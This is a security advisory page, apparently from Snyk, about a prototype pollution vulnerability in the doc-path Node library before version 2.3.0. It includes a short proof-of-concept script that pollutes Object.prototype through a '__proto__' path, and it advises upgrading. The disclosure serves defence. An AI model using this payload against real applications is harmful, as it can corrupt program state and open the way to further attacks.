doc-path@1.0.5 vulnerabilities

A document path library for Node

  • latest version

    4.1.2

  • latest non vulnerable version

  • first published

    9 years ago

  • latest version published

    5 months ago

  • licenses detected

  • Direct Vulnerabilities

    Known vulnerabilities in the doc-path package. This does not include vulnerabilities belonging to this package’s dependencies.

    How to fix?

    Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.

    Fix for free
    VulnerabilityVulnerable Version
    • H
    Prototype Pollution

    doc-path is an A document path library for Node

    Affected versions of this package are vulnerable to Prototype Pollution.

    PoC

    const path = require('doc-path');
    let obj = {};
    console.log("Before : " + obj.polluted);
    path.setPath({}, '__proto__.polluted', "yes");
    console.log("After : " + obj.polluted);
    console.log("After : " + {}.polluted);
    

    How to fix Prototype Pollution?

    Upgrade doc-path to version 2.3.0 or higher.

    <2.3.0